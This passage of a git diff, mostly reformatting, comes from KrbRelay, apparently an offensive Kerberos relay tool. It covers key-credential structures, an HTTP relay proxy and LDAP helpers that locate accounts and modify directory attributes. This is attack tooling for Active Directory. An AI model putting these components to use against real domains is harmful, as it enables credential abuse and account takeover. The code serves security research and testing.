StringComparison.OrdinalIgnoreCase) >= 0)) + if ( + RewriteTargetInText + && host != null + && ct != null + && ( + ct.IndexOf("text/html", StringComparison.OrdinalIgnoreCase) >= 0 + || ct.IndexOf( + "application/json", + StringComparison.OrdinalIgnoreCase + ) >= 0 + ) + ) { using (var ms = new MemoryStream()) { - using (var stream = await response.Content.ReadAsStreamAsync().ConfigureAwait(false)) + using ( + var stream = await response.Content + .ReadAsStreamAsync() + .ConfigureAwait(false) + ) { await stream.CopyToAsync(ms).ConfigureAwait(false); var enc = context.Response.ContentEncoding ?? Encoding.UTF8; var html = enc.GetString(ms.ToArray()); - if (TryReplace(html, "//" + _targetHost + ":" + _targetPort + "/", "//" + host + "/", out var replaced)) + if ( + TryReplace( + html, + "//" + _targetHost + ":" + _targetPort + "/", + "//" + host + "/", + out var replaced + ) + ) { var bytes = enc.GetBytes(replaced); using (var ms2 = new MemoryStream(bytes)) { ms2.Position = 0; - await ms2.CopyToAsync(context.Response.OutputStream).ConfigureAwait(false); + await ms2.CopyToAsync(context.Response.OutputStream) + .ConfigureAwait(false); } } else { ms.Position = 0; - await ms.CopyToAsync(context.Response.OutputStream).ConfigureAwait(false); + await ms.CopyToAsync(context.Response.OutputStream) + .ConfigureAwait(false); } } } } else { - using (var stream = await response.Content.ReadAsStreamAsync().ConfigureAwait(false)) + using ( + var stream = await response.Content + .ReadAsStreamAsync() + .ConfigureAwait(false) + ) { - await stream.CopyToAsync(context.Response.OutputStream).ConfigureAwait(false); + await stream + .CopyToAsync(context.Response.OutputStream) + .ConfigureAwait(false); } } } @@ -245,7 +295,12 @@ protected virtual async Task ProcessRequest(HttpListenerContext context) public void Dispose() => ((IDisposable)_listener)?.Dispose(); // out-of-the-box replace doesn't tell if something *was* replaced or not - private static bool TryReplace(string input, string oldValue, string newValue, out string result) + private static bool TryReplace( + string input, + string oldValue, + string newValue, + out string result + ) { if (string.IsNullOrEmpty(input) || string.IsNullOrEmpty(oldValue)) { @@ -313,4 +368,4 @@ private static bool TryReplace(string input, string oldValue, string newValue, o return false; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/DNWithBinary.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/DNWithBinary.cs index f8433fd..43a0abf 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/DNWithBinary.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/DNWithBinary.cs @@ -14,17 +14,9 @@ public sealed class DNWithBinary private const string StringFormatPrefix = "B:"; private const char StringFormatSeparator = ':'; - public string DistinguishedName - { - get; - private set; - } + public string DistinguishedName { get; private set; } - public byte[] Binary - { - get; - private set; - } + public byte[] Binary { get; private set; } public DNWithBinary(string dn, byte[] binary) { @@ -40,9 +32,17 @@ public static DNWithBinary Parse(string dnWithBinary) Validator.AssertNotNullOrEmpty(dnWithBinary, nameof(dnWithBinary)); bool hasCorrectPrefix = dnWithBinary.StartsWith(StringFormatPrefix); - int valueLeadingColonIndex = dnWithBinary.IndexOf(StringFormatSeparator, StringFormatPrefix.Length); - int valueTrailingColonIndex = dnWithBinary.IndexOf(StringFormatSeparator, valueLeadingColonIndex + 1); - bool has4Parts = valueLeadingColonIndex >= 3 && (valueLeadingColonIndex + 1) < valueTrailingColonIndex; + int valueLeadingColonIndex = dnWithBinary.IndexOf( + StringFormatSeparator, + StringFormatPrefix.Length + ); + int valueTrailingColonIndex = dnWithBinary.IndexOf( + StringFormatSeparator, + valueLeadingColonIndex + 1 + ); + bool has4Parts = + valueLeadingColonIndex >= 3 + && (valueLeadingColonIndex + 1) < valueTrailingColonIndex; if (!hasCorrectPrefix || !has4Parts) { @@ -51,13 +51,21 @@ public static DNWithBinary Parse(string dnWithBinary) } string dn = dnWithBinary.Substring(valueTrailingColonIndex + 1); - byte[] binary = dnWithBinary.HexToBinary(valueLeadingColonIndex + 1, valueTrailingColonIndex - valueLeadingColonIndex - 1); + byte[] binary = dnWithBinary.HexToBinary( + valueLeadingColonIndex + 1, + valueTrailingColonIndex - valueLeadingColonIndex - 1 + ); return new DNWithBinary(dn, binary); } public override string ToString() { - return String.Format(StringFormat, this.Binary.Length * 2, this.Binary.ToHex(true), this.DistinguishedName); + return String.Format( + StringFormat, + this.Binary.Length * 2, + this.Binary.ToHex(true), + this.DistinguishedName + ); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/CustomKeyInformation.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/CustomKeyInformation.cs index 07a9bab..5f10e64 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/CustomKeyInformation.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/CustomKeyInformation.cs @@ -13,72 +13,38 @@ public class CustomKeyInformation private const int ShortRepresentationSize = sizeof(byte) + sizeof(KeyFlags); // Version + KeyFlags private const int ReservedSize = 10 * sizeof(byte); - public byte Version - { - get; - private set; - } + public byte Version { get; private set; } - public KeyFlags Flags - { - get; - private set; - } + public KeyFlags Flags { get; private set; } - public VolumeType? VolumeType - { - get; - private set; - } + public VolumeType? VolumeType { get; private set; } /// /// Specifies whether the device associated with this credential supports notification. /// - public bool? SupportsNotification - { - get; - private set; - } + public bool? SupportsNotification { get; private set; } /// /// Specifies the version of the File Encryption Key (FEK). /// - public byte? FekKeyVersion - { - get; - private set; - } + public byte? FekKeyVersion { get; private set; } /// /// Specifies the strength of the NGC key. /// - public KeyStrength? Strength - { - get; - private set; - } + public KeyStrength? Strength { get; private set; } /// /// Reserved for future use. /// - public byte[] Reserved - { - get; - private set; - } + public byte[] Reserved { get; private set; } /// /// Extended custom key information. /// - public byte[] EncodedExtendedCKI - { - get; - private set; - } + public byte[] EncodedExtendedCKI { get; private set; } - public CustomKeyInformation() : this(KeyFlags.None) - { - } + public CustomKeyInformation() : this(KeyFlags.None) { } public CustomKeyInformation(KeyFlags flags) { @@ -129,7 +95,10 @@ public CustomKeyInformation(byte[] blob) { // 10 bytes reserved for future use. // Note: With FIDO, Azure incorrectly puts here 9 bytes instead of 10. - int actualReservedSize = (int)Math.Min(ReservedSize, stream.Length - stream.Position); + int actualReservedSize = (int)Math.Min( + ReservedSize, + stream.Length - stream.Position + ); this.Reserved = new byte[actualReservedSize]; stream.Read(this.Reserved, 0, actualReservedSize); } @@ -183,4 +152,4 @@ public byte[] ToByteArray() } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredential.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredential.cs index c6c087e..db0fa1c 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredential.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredential.cs @@ -29,11 +29,7 @@ public class KeyCredential /// /// Defines the version of the structure. /// - public KeyCredentialVersion Version - { - get; - private set; - } + public KeyCredentialVersion Version { get; private set; } /// /// A SHA256 hash of the Value field of the RawKeyMaterial entry. @@ -41,11 +37,7 @@ public KeyCredentialVersion Version /// /// Version 1 keys had a guid in this field instead if a hash. /// - public string Identifier - { - get; - private set; - } + public string Identifier { get; private set; } public bool IsWeak { @@ -56,32 +48,16 @@ public bool IsWeak } } - public KeyUsage Usage - { - get; - private set; - } + public KeyUsage Usage { get; private set; } - public string LegacyUsage - { - get; - private set; - } + public string LegacyUsage { get; private set; } - public KeySource Source - { - get; - private set; - } + public KeySource Source { get; private set; } /// /// Key material of the credential. /// - public byte[] RawKeyMaterial - { - get; - private set; - } + public byte[] RawKeyMaterial { get; private set; } public RSAParameters? RSAPublicKey { @@ -128,35 +104,19 @@ public string RSAModulus } } - public CustomKeyInformation CustomKeyInfo - { - get; - private set; - } + public CustomKeyInformation CustomKeyInfo { get; private set; } - public Guid? DeviceId - { - get; - private set; - } + public Guid? DeviceId { get; private set; } /// /// The approximate time this key was created. /// - public DateTime CreationTime - { - get; - private set; - } + public DateTime CreationTime { get; private set; } /// /// The approximate time this key was last used. /// - public DateTime? LastLogonTime - { - get; - private set; - } + public DateTime? LastLogonTime { get; private set; } /// /// Distinguished name of the AD object (UPN in case of AAD objects) that holds this key credential. @@ -168,22 +128,42 @@ public string Owner internal set; } - public KeyCredential(X509Certificate2 certificate, Guid? deviceId, string owner, DateTime? currentTime = null, bool isComputerKey = false) + public KeyCredential( + X509Certificate2 certificate, + Guid? deviceId, + string owner, + DateTime? currentTime = null, + bool isComputerKey = false + ) { Validator.AssertNotNull(certificate, nameof(certificate)); // Computer NGC keys are DER-encoded, while user NGC keys are encoded as BCRYPT_RSAKEY_BLOB. - byte[] publicKey = isComputerKey ? certificate.ExportRSAPublicKeyDER() : certificate.ExportRSAPublicKeyBCrypt(); + byte[] publicKey = isComputerKey + ? certificate.ExportRSAPublicKeyDER() + : certificate.ExportRSAPublicKeyBCrypt(); this.Initialize(publicKey, deviceId, owner, currentTime, isComputerKey); } - public KeyCredential(byte[] publicKey, Guid? deviceId, string owner, DateTime? currentTime = null, bool isComputerKey = false) + public KeyCredential( + byte[] publicKey, + Guid? deviceId, + string owner, + DateTime? currentTime = null, + bool isComputerKey = false + ) { Validator.AssertNotNull(publicKey, nameof(publicKey)); this.Initialize(publicKey, deviceId, owner, currentTime, isComputerKey); } - private void Initialize(byte[] publicKey, Guid? deviceId, string owner, DateTime? currentTime, bool isComputerKey) + private void Initialize( + byte[] publicKey, + Guid? deviceId, + string owner, + DateTime? currentTime, + bool isComputerKey + ) { // Prodess owner DN/UPN Validator.AssertNotNullOrEmpty(owner, nameof(owner)); @@ -192,7 +172,9 @@ private void Initialize(byte[] publicKey, Guid? deviceId, string owner, DateTime // Initialize the Key Credential based on requirements stated in MS-KPP Processing Details: this.Version = KeyCredentialVersion.Version2; this.Identifier = ComputeKeyIdentifier(publicKey, this.Version); - this.CreationTime = currentTime.HasValue ? currentTime.Value.ToUniversalTime() : DateTime.UtcNow; + this.CreationTime = currentTime.HasValue + ? currentTime.Value.ToUniversalTime() + : DateTime.UtcNow; this.RawKeyMaterial = publicKey; this.Usage = KeyUsage.NGC; this.Source = KeySource.AD; @@ -232,7 +214,8 @@ public KeyCredential(byte[] blob, string owner) ushort length = reader.ReadUInt16(); // An 8-bit unsigned integer that specifies the type of data that is stored in the Value field. - KeyCredentialEntryType entryType = (KeyCredentialEntryType)reader.ReadByte(); + KeyCredentialEntryType entryType = + (KeyCredentialEntryType)reader.ReadByte(); // A series of bytes whose size and meaning are defined by the Identifier field. byte[] value = reader.ReadBytes(length); @@ -285,11 +268,19 @@ public KeyCredential(byte[] blob, string owner) break; case KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp: - this.LastLogonTime = ConvertFromBinaryTime(value, this.Source, this.Version); + this.LastLogonTime = ConvertFromBinaryTime( + value, + this.Source, + this.Version + ); break; case KeyCredentialEntryType.KeyCreationTime: - this.CreationTime = ConvertFromBinaryTime(value, this.Source, this.Version); + this.CreationTime = ConvertFromBinaryTime( + value, + this.Source, + this.Version + ); break; default: @@ -318,7 +309,8 @@ public override string ToString() this.Source, this.Version, this.Usage, - this.CreationTime); + this.CreationTime + ); } public byte[] ToByteArray() @@ -367,14 +359,24 @@ public byte[] ToByteArray() // Last Logon Time if (this.LastLogonTime.HasValue) { - byte[] binaryLastLogonTime = ConvertToBinaryTime(this.LastLogonTime.Value, this.Source, this.Version); + byte[] binaryLastLogonTime = ConvertToBinaryTime( + this.LastLogonTime.Value, + this.Source, + this.Version + ); propertyWriter.Write((ushort)binaryLastLogonTime.Length); - propertyWriter.Write((byte)KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp); + propertyWriter.Write( + (byte)KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp + ); propertyWriter.Write(binaryLastLogonTime); } // Creation Time - byte[] binaryCreationTime = ConvertToBinaryTime(this.CreationTime, this.Source, this.Version); + byte[] binaryCreationTime = ConvertToBinaryTime( + this.CreationTime, + this.Source, + this.Version + ); propertyWriter.Write((ushort)binaryCreationTime.Length); propertyWriter.Write((byte)KeyCredentialEntryType.KeyCreationTime); propertyWriter.Write(binaryCreationTime); @@ -421,7 +423,11 @@ public static KeyCredential ParseDNBinary(string dnWithBinary) return new KeyCredential(parsed.Binary, parsed.DistinguishedName); } - private static DateTime ConvertFromBinaryTime(byte[] binaryTime, KeySource source, KeyCredentialVersion version) + private static DateTime ConvertFromBinaryTime( + byte[] binaryTime, + KeySource source, + KeyCredentialVersion version + ) { long timeStamp = BitConverter.ToInt64(binaryTime, 0); @@ -436,11 +442,17 @@ private static DateTime ConvertFromBinaryTime(byte[] binaryTime, KeySource sourc case KeyCredentialVersion.Version2: default: - return source == KeySource.AD ? DateTime.FromFileTime(timeStamp) : DateTime.FromBinary(timeStamp); + return source == KeySource.AD + ? DateTime.FromFileTime(timeStamp) + : DateTime.FromBinary(timeStamp); } } - private static byte[] ConvertToBinaryTime(DateTime time, KeySource source, KeyCredentialVersion version) + private static byte[] ConvertToBinaryTime( + DateTime time, + KeySource source, + KeyCredentialVersion version + ) { long timeStamp; switch (version) @@ -476,7 +488,10 @@ private static string ComputeKeyIdentifier(byte[] keyMaterial, KeyCredentialVers return ConvertFromBinaryIdentifier(binaryId, version); } - private static string ConvertFromBinaryIdentifier(byte[] binaryId, KeyCredentialVersion version) + private static string ConvertFromBinaryIdentifier( + byte[] binaryId, + KeyCredentialVersion version + ) { switch (version) { @@ -490,7 +505,10 @@ private static string ConvertFromBinaryIdentifier(byte[] binaryId, KeyCredential } } - private static byte[] ConvertToBinaryIdentifier(string keyIdentifier, KeyCredentialVersion version) + private static byte[] ConvertToBinaryIdentifier( + string keyIdentifier, + KeyCredentialVersion version + ) { switch (version) { @@ -504,4 +522,4 @@ private static byte[] ConvertToBinaryIdentifier(string keyIdentifier, KeyCredent } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs index 20c4503..98fb068 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs @@ -52,4 +52,4 @@ public enum KeyCredentialEntryType : byte /// KeyCreationTime = 0x09 } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs index 27e2c13..6ff92b0 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs @@ -10,4 +10,4 @@ public enum KeyCredentialVersion : uint Version1 = 0x00000100, Version2 = 0x00000200, } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs index c4ec63a..ff75566 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs @@ -24,4 +24,4 @@ public enum KeyFlags : byte /// MFANotUsed = 0x02, } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs index 1370d22..a9c2f92 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs @@ -16,4 +16,4 @@ public enum KeySource : byte /// AzureAD = 0x01 } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs index 0b3ff10..f030116 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs @@ -21,4 +21,4 @@ public enum KeyStrength : byte /// Normal = 0x02 } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyUsage.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyUsage.cs index e30e624..28b07dd 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyUsage.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyUsage.cs @@ -44,4 +44,4 @@ public enum KeyUsage : byte /// DPAPI // TODO: The DPAPI enum needs to be mapped to a proper integer value. } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs index 27f1612..57e6a7d 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs @@ -26,4 +26,4 @@ public enum VolumeType : byte /// Removable = 0x03 } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/ByteArrayExtensions.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/ByteArrayExtensions.cs index f111a5c..c068947 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/ByteArrayExtensions.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/ByteArrayExtensions.cs @@ -44,7 +44,11 @@ public static byte[] HexToBinary(this string hex, int startIndex, int length) byte[] bytes = new byte[length / 2]; // Perform the conversion - for (int nibbleIndex = 0, byteIndex = 0; nibbleIndex < length; byteIndex = ++nibbleIndex / 2) + for ( + int nibbleIndex = 0, byteIndex = 0; + nibbleIndex < length; + byteIndex = ++nibbleIndex / 2 + ) { char nibble = hex[startIndex + nibbleIndex]; @@ -63,7 +67,10 @@ public static byte[] HexToBinary(this string hex, int startIndex, int length) else { // Invalid digit - var exception = new ArgumentException(Resources.NotHexStringMessage, nameof(hex)); + var exception = new ArgumentException( + Resources.NotHexStringMessage, + nameof(hex) + ); exception.Data.Add("Value", hex); throw exception; } @@ -185,7 +192,10 @@ public static Guid ToGuidBigEndian(this byte[] bytes) return new Guid(bytes); } - public static SecurityIdentifier ToSecurityIdentifier(this byte[] binarySid, bool bigEndianRid = false) + public static SecurityIdentifier ToSecurityIdentifier( + this byte[] binarySid, + bool bigEndianRid = false + ) { if (binarySid == null) { @@ -233,4 +243,4 @@ public static byte[] ReadToEnd(this MemoryStream stream) return buffer; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/RSAExtensions.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/RSAExtensions.cs index bce418f..776587b 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/RSAExtensions.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/RSAExtensions.cs @@ -16,7 +16,10 @@ public static class RSAExtensions /// /// OID 1.2.840.113549.1.1.1 - Identifier for RSA encryption for use with Public Key Cryptosystem One defined by RSA Inc. /// - private static readonly Oid RsaOid = Oid.FromFriendlyName("RSA", OidGroup.PublicKeyAlgorithm); + private static readonly Oid RsaOid = Oid.FromFriendlyName( + "RSA", + OidGroup.PublicKeyAlgorithm + ); /// /// ASN.1 Tag NULL @@ -26,7 +29,9 @@ public static class RSAExtensions /// /// BCRYPT_PUBLIC_KEY_BLOB Format /// - private static readonly CngKeyBlobFormat BCryptRSAPublicKeyFormat = new CngKeyBlobFormat("RSAPUBLICBLOB"); + private static readonly CngKeyBlobFormat BCryptRSAPublicKeyFormat = new CngKeyBlobFormat( + "RSAPUBLICBLOB" + ); /// /// Converts a RSA public key to BCRYPT_RSAKEY_BLOB. @@ -39,7 +44,7 @@ public static byte[] ExportRSAPublicKeyBCrypt(this X509Certificate2 certificate) using (var rsa = (RSACng)certificate.GetRSAPublicKey()) { - using(var key = rsa.Key) + using (var key = rsa.Key) { //Console.WriteLine(KrbRelay.Helpers.ByteArrayToString(key.Export(BCryptRSAPublicKeyFormat))); return key.Export(BCryptRSAPublicKeyFormat); @@ -137,4 +142,4 @@ public static bool IsWeakKey(this RSAParameters publicKey) return false; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Validator.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Validator.cs index d55856f..266fe19 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Validator.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Validator.cs @@ -11,7 +11,11 @@ public static void AssertEquals(string expectedValue, string actualValue, string { if (!String.Equals(expectedValue, actualValue, StringComparison.InvariantCulture)) { - string message = String.Format(Resources.UnexpectedValueMessage, actualValue, expectedValue); + string message = String.Format( + Resources.UnexpectedValueMessage, + actualValue, + expectedValue + ); throw new ArgumentException(message, paramName); } } @@ -20,7 +24,11 @@ public static void AssertEquals(char expectedValue, char actualValue, string par { if (expectedValue.CompareTo(actualValue) != 0) { - string message = String.Format(Resources.UnexpectedValueMessage, actualValue, expectedValue); + string message = String.Format( + Resources.UnexpectedValueMessage, + actualValue, + expectedValue + ); throw new ArgumentException(message, paramName); } } @@ -54,7 +62,11 @@ public static void AssertLength(string value, int length, string paramName) AssertNotNull(value, paramName); if (value.Length != length) { - throw new ArgumentOutOfRangeException(paramName, value.Length, Resources.UnexpectedLengthMessage); + throw new ArgumentOutOfRangeException( + paramName, + value.Length, + Resources.UnexpectedLengthMessage + ); } } @@ -63,7 +75,11 @@ public static void AssertMaxLength(SecureString password, int maxLength, string AssertNotNull(password, paramName); if (password.Length > maxLength) { - throw new ArgumentOutOfRangeException(paramName, password.Length, Resources.InputLongerThanMaxMessage); + throw new ArgumentOutOfRangeException( + paramName, + password.Length, + Resources.InputLongerThanMaxMessage + ); } } @@ -72,7 +88,11 @@ public static void AssertMaxLength(string input, int maxLength, string paramName AssertNotNull(input, paramName); if (input.Length > maxLength) { - throw new ArgumentOutOfRangeException(paramName, input.Length, Resources.InputLongerThanMaxMessage); + throw new ArgumentOutOfRangeException( + paramName, + input.Length, + Resources.InputLongerThanMaxMessage + ); } } @@ -81,7 +101,11 @@ public static void AssertMinLength(byte[] data, int minLength, string paramName) AssertNotNull(data, paramName); if (data.Length < minLength) { - var exception = new ArgumentOutOfRangeException(paramName, data.Length, Resources.InputShorterThanMinMessage); + var exception = new ArgumentOutOfRangeException( + paramName, + data.Length, + Resources.InputShorterThanMinMessage + ); // DEBUG: exception.Data.Add("BinaryBlob", data.ToHex()); throw exception; } @@ -92,7 +116,11 @@ public static void AssertLength(byte[] value, long length, string paramName) AssertNotNull(value, paramName); if (value.Length != length) { - throw new ArgumentOutOfRangeException(paramName, value.Length, Resources.UnexpectedLengthMessage); + throw new ArgumentOutOfRangeException( + paramName, + value.Length, + Resources.UnexpectedLengthMessage + ); } } @@ -114,4 +142,4 @@ public static void AssertDirectoryExists(string directoryPath) } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/Generic.cs b/KrbRelay/Clients/Attacks/Ldap/Generic.cs index dae446d..200a4bd 100644 --- a/KrbRelay/Clients/Attacks/Ldap/Generic.cs +++ b/KrbRelay/Clients/Attacks/Ldap/Generic.cs @@ -3,96 +3,154 @@ using System.Linq; using System.Runtime.InteropServices; using System.Text; -using static KrbRelay.Natives; namespace KrbRelay.Clients.Attacks.Ldap { internal class Generic { - public static Dictionary> GetLdapAttributes(IntPtr ld, IntPtr entry, ref IntPtr ber) + private static string DecodeASCIIOrUnicode(IntPtr ptr) { - Dictionary> list = new Dictionary>(); - for (var attr = ldap_first_attribute(ld, entry, ref ber); - attr != IntPtr.Zero; - attr = ldap_next_attribute(ld, entry, ber)) + if (Marshal.ReadByte(ptr + 1) == 0x00) { - var vals = ldap_get_values_len(ld, entry, attr); - if (vals != IntPtr.Zero) - { - var attrName = Marshal.PtrToStringUni(attr); - if (attrName != null) - { - list.Add( - attrName, - Helpers.BerValArrayToByteArrays(vals) - ); - } - ldap_value_free_len(vals); - } + return Marshal.PtrToStringUni(ptr); + } + else + { + return Marshal.PtrToStringAnsi(ptr); } - return list; } - public static string GetLdapDn(IntPtr ld, IntPtr entry) + private static string DecodeASCIIOrUnicode(byte[] bytes) { - var ptr = ldap_get_dn(ld, entry); - var dn = Marshal.PtrToStringUni(ptr); - return dn; + if (bytes[1] == 0x00) + { + return Encoding.Unicode.GetString(bytes); + } + else + { + return Encoding.ASCII.GetString(bytes); + } } - public static LdapStatus setAttribute(IntPtr ld, string attribute, byte[] value, string dn) + public static string GetDistinguishedName(IntPtr ld, IntPtr entry) { - var modPropPtr = Marshal.StringToHGlobalUni(attribute); - var modValue = new List { - value + var ptr = Interop.ldap_get_dn(ld, entry); + return DecodeASCIIOrUnicode(ptr); + } + + public static string GetDistinguishedName(IntPtr ld, string filter) { + var timeout = new LDAP_TIMEVAL + { + tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond) }; - var modValuePtr = Marshal.AllocHGlobal(IntPtr.Size * 2); - Helpers.ByteArraysToBerValueArray(modValue.Select(_ => _ ?? new byte[0]).ToArray(), modValuePtr); - List mod = new List { - new LDAPMod { - mod_op = (int)LdapModOperation.LDAP_MOD_REPLACE | (int)LdapModOperation.LDAP_MOD_BVALUES, - mod_type = modPropPtr, - mod_vals_u = new LDAPMod.mod_vals - { - modv_bvals = modValuePtr - }, - mod_next = IntPtr.Zero + IntPtr pLaps = Helpers.AllocHGlobalIntPtrArray(1 + 1); + var controlPtr = Marshal.StringToHGlobalUni("DistinguishedName"); + Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr); + + var search = Interop.ldap_search( + ld, + State.domainDN, + (int)LdapSearchScope.SubTree, + filter, + pLaps, + 0 + ); + + IntPtr pMessage = IntPtr.Zero; + var r = Interop.ldap_result(ld, search, 0, timeout, ref pMessage); + var entry = Interop.ldap_first_entry(ld, pMessage); + IntPtr ber = IntPtr.Zero; + + var attr = Interop.ldap_first_attribute(ld, entry, ref ber); + var vals = Interop.ldap_get_values_len(ld, entry, attr); + var attrName = Marshal.PtrToStringUni(attr); + + var result = new List(); + foreach (var tempPtr in Helpers.GetPointerArray(vals)) + { + berval bervalue = (berval)Marshal.PtrToStructure( + tempPtr, + typeof(berval) + ); + if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero) + { + var byteArray = new byte[bervalue.bv_len]; + Marshal.Copy(bervalue.bv_val, byteArray, 0, bervalue.bv_len); + result.Add(byteArray); } - }; - var ptr = Marshal.AllocHGlobal(IntPtr.Size * 2); // alloc memory for list with last element null - Helpers.StructureArrayToPtr(mod, ptr, true); + } + byte[] t = result.SelectMany(a => a).ToArray(); + //Console.WriteLine("[+] {0}: {1}", attribute, Encoding.ASCII.GetString(t)); - //int rest = ldap_modify_ext(ld, dn, ptr, IntPtr.Zero, IntPtr.Zero, out int pMessage); - int rest = Natives.ldap_modify_s(ld, dn, ptr); - Console.WriteLine("[*] ldap_modify: {0}", (LdapStatus)rest); + Marshal.FreeHGlobal(controlPtr); + string dn = Encoding.ASCII.GetString(t); - mod.ForEach(_ => + if (String.IsNullOrEmpty(dn)) { - Helpers.BerValuesFree(_.mod_vals_u.modv_bvals); - Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals); - Marshal.FreeHGlobal(_.mod_type); - }); - Marshal.FreeHGlobal(ptr); + throw new InvalidOperationException("DN was empty"); + } - return (LdapStatus)rest; + return dn; + } + + public static string GetDistinguishedNameFromAccountName(IntPtr ld, string samAccountName, bool treatAsMachine = true) + { + if (string.IsNullOrEmpty(samAccountName)) + { + if (treatAsMachine) + { + samAccountName = Environment.MachineName; + } else + { + samAccountName = Environment.UserName; + } + } + + if (treatAsMachine && !samAccountName.EndsWith("$")) + { + samAccountName += "$"; + } + + return GetDistinguishedName(ld, String.Format("(&(objectClass=*)(sAMAccountName={0}))", samAccountName)); } - public static LdapStatus addAttribute(IntPtr ld, string attribute, byte[] value, string dn) + public static string GetDistinguishedNameFromSid(IntPtr ld, string sid) + { + return GetDistinguishedName(ld, String.Format("(&(objectClass=*)(objectSID={0}))", sid)); + } + + public static LdapStatus SetAttribute(IntPtr ld, string distinguishedName, string attribute, byte[] value) + { + return ModifyAttribute(ld, LdapModOperation.Replace, distinguishedName, attribute, new List { value }); + } + + public static LdapStatus AddAttribute(IntPtr ld, string distinguishedName, string attribute, byte[] value) + { + return ModifyAttribute(ld, LdapModOperation.Add, distinguishedName, attribute, new List { value }); + } + + public static LdapStatus RemoveAttribute(IntPtr ld, string distinguishedName, string attribute, byte[] 